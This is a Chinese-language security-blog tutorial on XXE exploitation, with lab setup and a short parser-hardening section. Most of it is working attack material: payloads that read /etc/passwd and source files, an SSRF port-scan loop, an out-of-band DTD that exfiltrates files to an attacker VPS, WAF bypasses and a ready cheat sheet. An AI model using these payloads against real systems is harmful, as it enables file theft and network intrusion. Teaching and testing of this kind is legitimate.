PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】XXE漏洞从入门到实战:文件读取/内网探测/OOB盲注全解

📅 2026年5月27日 📁 Hermes Agent ⏱ 4 分钟

title: 【教程】XXE漏洞从入门到实战:文件读取/内网探测/OOB盲注全解

date: 2026-05-27

tags: [xxe, xml, 渗透测试, 实战教程, 漏洞利用]


适合人群:初中级渗透测试人员、安全开发工程师

前置知识:XML基本语法、HTTP请求基础

实验环境:本地靶场(xxe-lab 或 PortSwigger XXE Lab)

一、前置准备

工具安装


# 1. xxe-lab 靶场(Docker一键部署)
git clone https://github.com/c0ny1/xxe-lab.git
cd xxe-lab/php_xxe
docker build -t xxe-lab .
docker run -d -p 8080:80 xxe-lab

# 2. 监听工具(用于OOB盲注)
pip3 install flask   # 简易HTTP外带接收
# 或直接用 nc 监听
nc -lvnp 9999

# 3. Burp Suite / mitmproxy(抓包改包)
# 脚本化推荐用 mitmproxy + Python

靶场验证


# 确认靶场正常运行
curl -s http://localhost:8080/login.php
# 返回登录页面 → 环境就绪

二、核心原理

XXE 的本质:XML 解析器在处理 XML 文档时,如果没有禁用外部实体(External Entity)解析,攻击者可以通过精心构造的 XML,让服务器去读取本地文件、发起 HTTP 请求,甚至执行代码。

一句话理解

XML 里的 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 就像在说:"帮我读一下 /etc/passwd,把内容放到 &xxe; 这个位置"

>

如果解析器不加检查地执行了——你就拿到了服务器的敏感文件。

漏洞触发条件

条件说明
XML解析器使用 libxmlSimpleXMLDOMDocument
未禁用DTDlibxml_disable_entity_loader(false) 或默认开启
用户可控输入传参/上传/API请求体包含XML

三、实操步骤

第1步:找入口点

常见的 XXE 入口:


1. Content-Type 为 text/xml 或 application/xml 的接口
2. SOAP Web Service(看 body 是否包含 <soap:Envelope>)
3. 文件上传 → SVG / DOCX / XLSX / PDF(内部是XML)
4. JSON 接口但尝试改 Content-Type 为 text/xml

核心技巧:看到一个 POST 接口只收 JSON,试试把 Content-Type 改成 text/xml 并发送 XML payload。

第2步:基础文件读取(有回显)


<!-- Linux 读 /etc/passwd -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

<!-- Windows 读系统文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>&xxe;</root>

<!-- PHP环境读源码(用伪协议) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<root>&xxe;</root>

发送命令(curl):


curl -X POST http://localhost:8080/login.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>'

响应中如果返回了 /etc/passwd 内容 → 确认存在 XXE!

第3步:内网探测(SSRF)

利用 XXE 可以探测内网服务:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:80">
]>
<root>&xxe;</root>

通过响应时间/错误信息判断端口是否开放:

探测地址预期结果
http://192.168.1.1:80若通 → 返回路由页面/超时
http://192.168.1.100:3306若通 → MySQL 错误信息
http://192.168.1.100:6379若通 → Redis 未授权

批量探测脚本:


for port in 22 80 443 3306 6379 8080 9000; do
  curl -s -X POST http://target/api \
    -H "Content-Type: application/xml" \
    -d "<?xml version=\"1.0\"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM \"http://192.168.1.100:$port\">
]>
<root>&xxe;</root>" &
done
wait

第4步:OOB 盲注(无回显场景)

现实中最常见的情况——响应里啥也不显示。这时候需要 OOB(Out-of-Band)外带数据。

原理:让目标服务器把文件内容通过 HTTP 请求发送到你的 VPS。

4.1 在你的 VPS 上创建恶意 DTD

/var/www/html/exfil.dtd:


<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://你的VPS:9999/?data=%file;'>">
%all;

4.2 VPS 开启监听


# Python 简易接收
python3 -c "
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def recv():
    with open('/tmp/xxe.log', 'a') as f:
        f.write(request.args.get('data', '') + '\n')
    return 'ok'
app.run(host='0.0.0.0', port=9999)
"

或直接用 netcat:


nc -lvnp 9999

4.3 发送 OOB Payload


<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % dtd SYSTEM "http://你的VPS/exfil.dtd">
  %dtd;
  %send;
]>
<root>test</root>

成功标志:VPS 的终端上看到 /etc/passwd 内容被拼在 URL 参数中发过来了。

⚠️ 大坑:文件内容含特殊字符(换行/&/<>)会导致 URL 中断。解决方法——用 PHP 的 Base64 编码:

```xml

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

```

第5步:报错型 XXE

连 OOB 都要绕的情况下,试试报错注入:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexist/%file;'>">
  %eval;
  %error;
]>
<root>test</root>

原理:解析器尝试读取不存在的文件 file:///nonexist/root:x:0:0:... → 路径不合法 → 报错信息中泄露文件内容。

四、绕过技术

4.1 编码绕过(WAF拦截SYSTEM/ENTITY关键词)

UTF-7 编码:


<?xml version="1.0" encoding="UTF-7"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

UTF-7 编码后的等价形式(WAF 可能不认识):


+ADw-?xml version="1.0" encoding="UTF-7"+ADw-?
+ADw-!DOCTYPE root +ADw-
+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI- +AD4-
+AD4-+ADw-root+AD4-&xxe;+ADw-/root+AD4-

4.2 协议绕过

被禁协议替代方案
file://php://filter/ftp://expect://
http://https://ftp://
php://file:// + compress.zlib://

4.3 XInclude 绕过(无法控制整个 XML 时)

当只能控制 XML 文档某个元素值而不是整个文档时:


<root>
  <name xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="file:///etc/passwd" parse="text"/>
  </name>
</root>

4.4 CDATA 处理(文件内容含特殊字符)


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % end "]]>">
  <!ENTITY % all "<!ENTITY xxe '%start;%file;%end;'>">
  %all;
]>
<root>&xxe;</root>

五、实战案例复盘

案例:某后台管理系统 SVG 上传 XXE

发现过程

  1. 头像上传功能,支持 JPG/PNG/SVG
  2. 上传一个合法的 SVG 图片
  3. 拦截请求,发现上传接口接受 Content-Type: image/svg+xml
  4. 用 Burp Repeater 修改 SVG 内容:

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text x="10" y="20">&xxe;</text>
</svg>
  1. 访问上传后的 SVG → 图片上显示了 /etc/passwd 内容

深入利用

  • /etc/hosts → 发现内网网段 172.16.0.0/12
  • 用 XXE-SSRF 探测内网 → 发现 172.16.0.10:8080 是 Jenkins 管理后台
  • 配合 Jenkins 弱口令(admin/admin)→ 拿到服务器权限

六、防御建议

代码层(开发者必看)


# Python — 用 defusedxml 替代标准库
from defusedxml import ElementTree
# 默认禁止外部实体

# Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

# PHP
libxml_disable_entity_loader(true);

# C#/.NET
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // 禁止外部实体解析

安全层

  • 禁用 DOCTYPE 声明
  • 禁用外部实体(general + parameter)
  • 能用 JSON 就别用 XML
  • WAF 规则拦截 DOCTYPEENTITYSYSTEM 关键词
  • 对上传的 SVG 剥离 XML 外部实体

七、常见陷阱

陷阱现象解决办法
只接JSON返回415/400Content-Type: text/xml
无回显响应为空用 OOB 或报错型
特殊字符截断OOB 数据不全用 Base64 编码文件
libxml 版本限制部分协议不可用切换协议(expect/ftp)
参数实体嵌套XML 解析报错注意参数实体间不能直接嵌套,用中介DTD

八、总结速查表


# 有回显 → 直接读文件
curl -X POST http://target/api -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE r[<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>'

# 无回显 → OOB外带
# 1. VPS: echo '<!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % a "<!ENTITY s SYSTEM '"'"'http://VPS/?%f;'"'"'>">%a;' > dtd
# 2. VPS: nc -lvnp 9999
# 3. 发送: <?xml version="1.0"?><!DOCTYPE r[<!ENTITY % d SYSTEM "http://VPS/dtd"><!ENTITY % s "">%d;]><r>1</r>

# 探测内网
curl -X POST http://target/api -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE r[<!ENTITY x SYSTEM "http://172.16.0.1:80">]><r>&x;</r>'

本文发布于 PingSec 安全博客,转载请注明出处。

← 返回首页